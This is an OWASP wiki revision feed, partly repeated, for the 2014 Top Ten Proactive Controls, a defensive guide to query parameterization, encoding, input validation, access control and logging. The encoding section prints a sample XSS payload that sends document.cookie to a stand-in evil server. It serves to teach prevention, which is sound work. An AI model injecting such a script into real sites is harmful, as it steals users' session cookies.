* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176252</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176252"/>
				<updated>2014-06-02T15:47:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
